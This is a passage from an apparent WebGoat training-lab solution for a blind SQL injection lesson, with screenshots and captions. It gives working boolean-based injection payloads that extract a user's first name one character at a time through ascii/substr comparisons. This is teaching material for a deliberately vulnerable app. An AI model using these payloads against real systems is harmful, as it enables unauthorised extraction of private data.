yes. If get back that the number is invalid then answer is no.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Another example: is the second character of the first_name of userid 15613 greater than 'm' (ascii 109)? <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109 ); <o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you get back that account number is valid, then yes. If get back that the number is invalid then answer is no.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal style='page-break-after:avoid'><span style='font-family: "Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"/> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"/> <v:f eqn="sum @0 1 0"/> <v:f eqn="sum 0 0 @1"/> <v:f eqn="prod @2 1 2"/> <v:f eqn="prod @3 21600 pixelWidth"/> <v:f eqn="prod @3 21600 pixelHeight"/> <v:f eqn="sum @0 0 1"/> <v:f eqn="prod @6 1 2"/> <v:f eqn="prod @7 21600 pixelWidth"/> <v:f eqn="sum @8 21600 0"/> <v:f eqn="prod @7 21600 pixelHeight"/> <v:f eqn="sum @10 21600 0"/> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/> <o:lock v:ext="edit" aspectratio="t"/> </v:shapetype><v:shape id="Picture_x0020_1419" o:spid="_x0000_i1030" type="#_x0000_t75" style='width:480pt;height:276.75pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image001.png" o:title=""/> </v:shape><![endif]--><![if !vml]><img width=640 height=369 src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image013.jpg" v:shapes="Picture_x0020_1419"><![endif]></span></p> <p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element: field-begin'></span><span style='mso-spacerun:yes'>�</span>SEQ Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element: field-end'></span><![endif]--> Lesson 16<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); you will get a "Account number is valid". If the character is bigger then the value you get an invalid account error message.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal style='page-break-after:avoid'><span style='font-family: "Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1420" o:spid="_x0000_i1029" type="#_x0000_t75" style='width:480pt;height:276.75pt; visibility:visible;mso-wrap-style:square'> <v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image003.png" o:title=""/> </v:shape><![endif]--><![if !vml]><img width=640 height=369 src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image014.jpg" v:shapes="Picture_x0020_1420"><![endif]></span></p> <p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element: field-begin'></span><span style='mso-spacerun:yes'>�</span>SEQ Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element: field-end'></span><![endif]--> Invalid account number<span style='font-family: "Arial","sans-serif"'><o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You can change the < to = to make sure that you have the correct value.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This results in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) = 74 );<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal style='page-break-after:avoid'><span style='font-family: "Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1421" o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;height:276.75pt; visibility:visible;mso-wrap-style:square'> <v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image005.png" o:title=""/> </v:shape><![endif]--><![if !vml]><img width=640 height=369 src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image015.jpg" v:shapes="Picture_x0020_1421"><![endif]></span></p> <p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element: field-begin'></span><span style='mso-spacerun:yes'>�</span>SEQ Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element: field-end'></span><![endif]--> First character<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>So you know that ascii(74) is capital J. Now do the same for the second and all other characters.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The query for the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) = 111 );<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Ascii(111) = o, so you have now Jo.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof: yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1422" o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:276.75pt;visibility:visible; mso-wrap-style:square'> <v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image007.png" o:title=""/> </v:shape><![endif]--><![if !vml]><img width=640 height=369 src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image016.jpg" v:shapes="Picture_x0020_1422"><![endif]></span><span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the third character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the fifth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 5 , 1) ) = 112); Ascii(112) = p<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>For the sixth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 6 , 1) ) = 104); Ascii(104) = h<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>So the name that you found is Joesph. Enter this in the text field to complete this lesson.<o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal style='page-break-after:avoid'><span style='font-family: "Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1423" o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276.75pt; visibility:visible;mso-wrap-style:square'> <v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image009.png" o:title=""/> </v:shape><![endif]--><![if !vml]><img width=640 height=369 src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image017.jpg" v:shapes="Picture_x0020_1423"><![endif]></span></p> <p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element: field-begin'></span><span style='mso-spacerun:yes'>�</span>SEQ Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element: field-end'></span><![endif]--> Enter the name Joesph<span style='font-family: "Arial","sans-serif"'><o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal style='page-break-after:avoid'><span style='font-family: "Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1424" o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276.75pt; visibility:visible;mso-wrap-style:square'> <v:imagedata src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image011.png" o:title=""/> </v:shape><![endif]--><![if !vml]><img width=640 height=369 src="/WebGoat/lesson_solutions/BlindSqlInjection_files/image018.jpg" v:shapes="Picture_x0020_1424"><![endif]></span></p> <p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element: field-begin'></span><span style='mso-spacerun:yes'>�</span>SEQ Figure \* ARABIC <span style='mso-element:field-separator'></span><![endif]--><span style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element: field-end'></span><![endif]--> Lesson 16 Completed<span style='font-family: "Arial","sans-serif"'><o:p></o:p></span></p> <p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p> <p class=MsoNormal><o:p> </o:p></p> </div> <table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'> <tr> <td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'> Solution by Erwin Geirnaert </td> <td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td> </tr> </table> </body> </html>